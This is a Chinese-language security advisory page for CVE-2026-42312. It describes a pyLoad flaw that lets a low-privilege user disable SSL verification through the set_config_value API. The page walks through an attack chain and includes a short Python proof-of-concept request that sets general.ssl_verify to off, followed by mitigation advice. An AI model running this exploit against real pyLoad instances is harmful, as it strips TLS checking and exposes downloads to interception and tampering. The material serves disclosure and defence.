IPBUF安全漏洞报告
English
CVE-2026-42312 CVSS 6.8 中危

CVE-2026-42312 pyLoad SSL验证绕过漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-42312
漏洞类型
权限提升
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
pyLoad

相关标签

权限提升SSL验证绕过pyLoad中间人攻击配置错误

漏洞概述

pyLoad在0.5.0b3.dev100版本之前存在权限验证绕过漏洞。由于`set_config_value` API未将敏感选项`general.ssl_verify`列入管理员白名单,普通认证用户即可关闭SSL验证。这使得后续所有出站请求禁用TLS校验,攻击者可利用中间人攻击窃取或篡改数据。

技术细节

该漏洞的根源在于pyLoad核心API实现中的访问控制逻辑缺陷。在`src/pyload/core/api/__init__.py`文件中,`set_config_value()`方法仅要求调用者具备`Perms.SETTINGS`权限,而非管理员权限。为了防止普通用户修改敏感配置,开发者设计了一个名为`ADMIN_ONLY_CORE_OPTIONS`的手动维护白名单。然而,该白名单不完整,遗漏了关键的安全选项`("general", "ssl_verify")`。攻击者利用这一漏洞,只需拥有普通用户的`SETTINGS`权限,即可通过API调用将`general.ssl_verify`设置为`off`。该操作直接修改了应用程序的全局配置,导致后续所有基于`pycurl`库的出站请求都会被强制设置`SSL_VERIFYPEER=0`和`SSL_VERIFYHOST=0`。这意味着TLS证书链验证和主机名验证被完全禁用。此时,位于同一网络路径上的攻击者可以利用中间人攻击(MITM),向pyLoad提供任意伪造的数字证书,从而拦截、解密或篡改所有下载内容,严重危及数据的机密性和完整性。

攻击链分析

STEP 1
步骤1:侦察与认证
攻击者发现目标pyLoad实例,并获取一个具有SETTINGS权限的低权限用户账户凭证。
STEP 2
步骤2:利用漏洞
攻击者构造恶意API请求,调用`set_config_value`接口,将`general.ssl_verify`参数修改为`off`。
STEP 3
步骤3:配置生效
pyLoad接受该配置更改,导致后续所有通过`pycurl`发起的出站请求都携带`SSL_VERIFYPEER=0`和`SSL_VERIFYHOST=0`参数。
STEP 4
步骤4:中间人攻击
攻击者利用网络位置优势,在pyLoad发起下载请求时拦截流量,并使用伪造的证书建立连接,从而窃取数据或注入恶意内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (change this to the actual pyLoad instance) TARGET_URL = "http://localhost:8000" API_PATH = "/api/set_config_value" # Attacker's credentials (low-privileged user with SETTINGS permission) SESSION_COOKIE = "session=low_priv_user_session_token" # The vulnerable configuration option PAYLOAD = { "category": "general", "key": "ssl_verify", "value": "off" } headers = { "Cookie": SESSION_COOKIE, "Content-Type": "application/json" } try: # Send the request to disable SSL verification response = requests.post(f"{TARGET_URL}{API_PATH}", json=PAYLOAD, headers=headers) if response.status_code == 200: print("[+] Successfully disabled SSL verification!") print("[+] Future requests will be vulnerable to MITM attacks.") else: print(f"[-] Failed to exploit. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

影响范围

pyLoad < 0.5.0b3.dev100

防御指南

临时缓解措施
如果无法立即升级,请暂时撤销非管理员用户的SETTINGS权限,并在网络边界部署严格的流量监控机制,防止中间人攻击。

参考链接